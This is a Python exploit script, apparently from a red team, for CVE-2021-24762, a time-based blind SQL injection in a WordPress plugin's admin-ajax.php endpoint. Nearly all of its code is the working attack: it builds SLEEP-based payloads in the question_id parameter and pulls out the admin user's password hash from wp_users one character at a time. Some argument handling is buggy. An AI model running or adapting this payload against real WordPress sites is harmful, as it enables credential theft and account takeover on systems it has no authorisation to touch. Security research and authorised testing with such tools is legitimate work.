# ---------------------------------------------------------------------------- # GNU GENERAL PUBLIC LICENSE # Version 3, 29 June 2007 # # Copyright (C) 2025 Matheus Camargo - c4cnm - Red Team CAIS/RNP # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # ---------------------------------------------------------------------------- from typing import Optional, Dict, Any import argparse import sys import logging from urllib.parse import urlparse import string import requests import time BANNER = r""" ____ _ ___ ____ / ___| / \ |_ _| / ___| | | / _ \ | | \___ \ | |___ / ___ \ | | __ ) | \____|/_/ \_\ |___| |____/ CAIS - Inteligência em Cibersegurança Exploit for: CVE-2021-24762 """ DEFAULT_URL = "http://192.168.10.10" DEFAULT_PATH = "/wp-admin/admin-ajax.php" DEFAULT_DELAY = 30 DEFAULT_CHARSET = string.ascii_letters + string.digits + "./$_-@" DEFAULT_MAX_LEN = 20 def print_banner(): try: print(BANNER) except Exception: print("CAIS - Inteligencia em Ciberseguranca\n\r Exploit for: CVE-2021-24762") def parse_args(argv: Optional[list] = None) -> argparse.Namespace: p = argparse.ArgumentParser( description="Safe CLI wrapper — receives url/path/delay/timeout/charset and forwards it" ) p.add_argument("-u", "--url", help=f"Base URL (default: {DEFAULT_URL})") p.add_argument("-p", "--path", help=f"path (default: {DEFAULT_PATH})") p.add_argument("-d", "--delay", type=int, help=f"delay in seconds (default: {DEFAULT_DELAY})") p.add_argument("-t", "--timeout", type=int, help="timeout in seconds (default: delay + 15)") p.add_argument("-c", "--charset", help="charset to be used (default: alnum + ./$_-@)") p.add_argument("-m", "--max-len", type=int, help=f"maximum length (default: {DEFAULT_MAX_LEN})") p.add_argument("-v", "--verbose", action="store_true", help="activates log debugging") return p.parse_args(argv) def _validate_and_normalize_url(url: str) -> str: """Basic validation: requires (http/https) and host. Removes slash at end.""" parsed = urlparse(url) if not parsed.scheme or not parsed.netloc: raise ValueError(f"Invalid URL: {url!r} (requires (http/https) and host, example: http://example.com)") return url.rstrip("/") def _normalize_path(path: str) -> str: """Removes slash at beggining.""" return path.lstrip("/") def build_params(args: argparse.Namespace) -> Dict[str, Any]: """ Returns a dict with treated/validated parameters. Defaults: - url: http://192.168.10.10 - path: /wp-admin/admin-ajax.php - delay: 30 - timeout: delay + 15 - charset: ascii_letters + digits + "./$_-@" - max_len: 20 (opcional) Throws ValueError if there is an invalid URL or issues in the parameters. """ # Applying defaults url = args.url or DEFAULT_URL path = args.path or DEFAULT_PATH delay = DEFAULT_DELAY if args.delay is None else int(delay) charset = args.charset or DEFAULT_CHARSET max_len = DEFAULT_MAX_LEN if args.max_len is None else int(max_len) # Normalizing / validation url = _validate_and_normalize_url(url) path = _normalize_path(path) # Timeout default timeout = args.timeout if args.timeout is not None else delay + 15 timeout = int(timeout) if delay < 0 or timeout < 0: raise ValueError("delay and timeout should not be less than 1") try: if timeout < delay: # allowed, but not recommended raise ValueError("timeout should be greater or greather than delay") except ValueError as e: print(f"Erro: {e}") full_target = f"{url}/{path}" return { "url": url, "path": path, "full_target": full_target, "delay": delay, "timeout": timeout, "charset": charset, "max_len": max_len, } def exploit(url: str, delay: int, timeout: int, charset: str): timeout = delay + 15 result = "" for position in range(1, 21): found = False print(f"\n[?] Testing position {position}") for char in charset: ascii_code = ord(char) # Following select matches the admin (0x61646d696e) password hash payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)" params = { "action": "get_question", "question_id": payload } start = time.time() try: response = requests.get(url, params=params, timeout=timeout) elapsed = time.time() - start except requests.exceptions.ReadTimeout: elapsed = timeout print(f" [-] Trying '{char}' (ord={ascii_code}) => {elapsed:.2f}s") if elapsed >= delay - 0.5: result += char print(f"[+] Found so far: {result}") found = True break if not found: print("[!] No match found at this position. Stopping.") break def setup_logging(verbose: bool): level = logging.DEBUG if verbose else logging.INFO logging.basicConfig(stream=sys.stdout, level=level, format="%(asctime)s [%(levelname)s] %(message)s") def main(argv: Optional[list] = None): print_banner() args = parse_args(argv) setup_logging(args.verbose) try: params = build_params(args) except Exception as e: logging.error("Failed to build parameters: %s", e) sys.exit(2) logging.debug("params: %s", params) print("Parâmetros padronizados:") for k, v in params.items(): print(f" {k}: {v}") exploit(params["full_target"],params["delay"],params["timeout"],params["charset"]) if __name__ == "__main__": main()